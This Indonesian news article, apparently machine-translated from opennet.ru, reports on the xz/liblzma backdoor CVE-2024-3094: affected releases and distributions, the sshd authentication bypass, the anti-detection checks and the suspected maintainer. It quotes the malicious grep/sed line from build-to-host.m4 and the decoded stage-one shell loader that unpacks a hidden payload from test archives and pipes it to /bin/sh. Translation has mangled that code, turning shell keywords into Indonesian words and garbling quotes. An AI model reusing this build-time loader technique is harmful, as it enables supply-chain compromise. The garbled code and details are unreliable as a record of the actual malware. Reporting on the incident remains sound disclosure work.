Pintu belakang ditemukan di perpustakaan xz/liblzma yang memungkinkan masuk melalui sshd

Dalam paket XZ Utils, yang mencakup perpustakaan liblzma dan utilitas untuk bekerja dengan data terkompresi dalam format ".xz", pintu belakang (CVE-2024-3094) telah diidentifikasi yang memungkinkan intersepsi dan modifikasi data yang diproses oleh aplikasi terkait dengan perpustakaan liblzma. Target utama dari pintu belakang adalah server OpenSSH, yang di beberapa distribusi dibundel dengan perpustakaan libsystemd, yang pada gilirannya menggunakan liblzma. Menghubungkan sshd dengan perpustakaan yang rentan memungkinkan penyerang mendapatkan akses ke server SSH tanpa otentikasi.

Backdoor hadir pada rilis resmi 5.6.0 dan 5.6.1 yang terbit pada 24 Februari dan 9 Maret yang berhasil masuk ke beberapa distro dan repositori, misalnya Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide dan 40-beta, pabrik openSUSE dan tumbleweed, LibreELEC, Alpine edge, Solus, NixOS tidak stabil, OpenIndiana, OpenMandriva rolling, arus pkgsrc, arus Slackware, pengujian Manjaro. Semua pengguna rilis xz 5.6.0 dan 5.6.1 disarankan untuk segera melakukan roll back ke versi 5.4.6.

Di antara faktor-faktor yang meringankan masalah ini, dapat dicatat bahwa versi liblzma dengan pintu belakang tidak berhasil menjadi bagian dari rilis stabil distribusi besar, tetapi mempengaruhi openSUSE Tumbleweed dan Fedora 40-beta. Arch Linux dan Gentoo menggunakan versi zx yang rentan, tetapi tidak rentan terhadap serangan karena mereka tidak menerapkan patch systemd-notify ke openssh, yang menyebabkan sshd ditautkan ke liblzma. Pintu belakang hanya memengaruhi sistem x86_64 yang berbasis pada kernel Linux dan pustaka Glibc C.

Kode aktivasi pintu belakang disembunyikan di makro m4 dari file build-to-host.m4 yang digunakan oleh toolkit automake saat membangun. Selama perakitan, selama pelaksanaan operasi rumit yang dikaburkan berdasarkan arsip (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), digunakan untuk menguji kebenaran operasi, file objek dengan kode berbahaya dihasilkan, yang termasuk dalam perpustakaan liblzma dan mengubah logika operasi beberapa fungsinya. Makro m4 yang mengaktifkan pintu belakang disertakan dalam tarbal rilis, tetapi tidak ada dalam repositori Git. Pada saat yang sama, arsip pengujian berbahaya ada di repositori, mis. orang yang mengimplementasikan pintu belakang memiliki akses ke repositori dan proses pembuatan rilis.

Saat menggunakan liblzma dalam aplikasi, perubahan berbahaya dapat digunakan untuk mencegat atau mengubah data, atau memengaruhi pengoperasian sshd. Secara khusus, kode berbahaya memalsukan fungsi RSA_public_decrypt untuk melewati proses otentikasi sshd. Pintu belakang menyertakan perlindungan terhadap deteksi dan tidak muncul ketika variabel lingkungan LANG dan TERM disetel (yaitu saat menjalankan proses di terminal) dan variabel lingkungan LD_DEBUG dan LD_PROFILE tidak disetel, dan juga diaktifkan hanya saat mengeksekusi /usr/sbin/sshd file yang dapat dieksekusi. Pintu belakang juga memiliki sarana untuk mendeteksi eksekusi di lingkungan debug.

Secara khusus, file m4/build-to-host.m4 menggunakan gl_am_configmake=`grep -aErls “#{4}[[:alnum:]]{5}#{4}$” $srcdir/ 2>/dev / null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | evaluasi $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

Dalam konstruksi pertama, operasi grep menemukan file test/files/bad-3-corrupt_lzma2.xz, yang ketika dibongkar, menghasilkan skrip: ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && keluar 0 [ ! $(uname) = "Linux" ] && keluar 0 [ ! $(uname) = "Linux" ] && keluar 0 [ ! $(uname) = "Linux" ] && keluar 0 [ ! $(uname) = "Linux" ] && exit 0 eval `grep ^srcdir= config.status` jika test -f ../../config.status;lalu eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» fi ekspor i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head - c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head - c +2048 && (kepala -c +1024 >/dev/null) && kepala -c +2048 && (kepala -c +1024 >/dev/null) && kepala -c +2048 && (kepala -c +1024 >/ dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && ( kepala -c +1024 >/dev/null) && kepala -c +2048 && (kepala -c +1024 >/dev/null) && kepala -c +2048 && (kepala -c +1024 >/dev/null) && kepala -c +2048 && (kepala -c +1024 >/dev/null) && kepala -c +2048 && (kepala -c +1024 >/dev/null) && kepala -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F mentah —lzma1 -dc|/bin/sh ####Dunia####

Bagaimana penyerang berhasil mendapatkan akses ke infrastruktur proyek xz belum sepenuhnya diklarifikasi. Juga belum jelas berapa banyak pengguna dan proyek yang disusupi akibat pintu belakang. Tersangka pembuat pintu belakang (JiaT75 - Jia Tan), yang memposting arsip dengan kode berbahaya di repositori, berkorespondensi dengan pengembang Fedora dan mengirimkan permintaan penarikan ke Debian terkait dengan transisi distribusi ke cabang xz 5.6.0, dan tidak menimbulkan kecurigaan, karena ia berpartisipasi dalam xz telah berkembang selama dua tahun terakhir dan merupakan pengembang kedua dalam hal jumlah perubahan yang dilakukan. Selain proyek xz, tersangka pembuat backdoor juga berpartisipasi dalam pengembangan paket xz-java dan xz-embedded. Apalagi Jia Tan beberapa hari lalu termasuk dalam jumlah pengelola proyek XZ Embedded yang digunakan di kernel Linux.

Perubahan berbahaya ditemukan setelah menganalisis konsumsi CPU yang berlebihan dan kesalahan yang dihasilkan oleh valgrind saat menghubungkan melalui ssh ke sistem berbasis sid Debian. Patut dicatat bahwa rilis xz 5.6.1 menyertakan perubahan yang disiapkan oleh dugaan penulis pintu belakang sebagai tanggapan atas keluhan tentang perlambatan dan kerusakan sshd yang muncul setelah peningkatan ke versi zx 5.6.0 dengan pintu belakang. Selain itu, tahun lalu Jia Tan membuat perubahan yang tidak kompatibel dengan mode pemeriksaan "-fsanitize=address", sehingga menyebabkannya dinonaktifkan selama pengujian fuzz.

Sumber: opennet.ru

Tambah komentar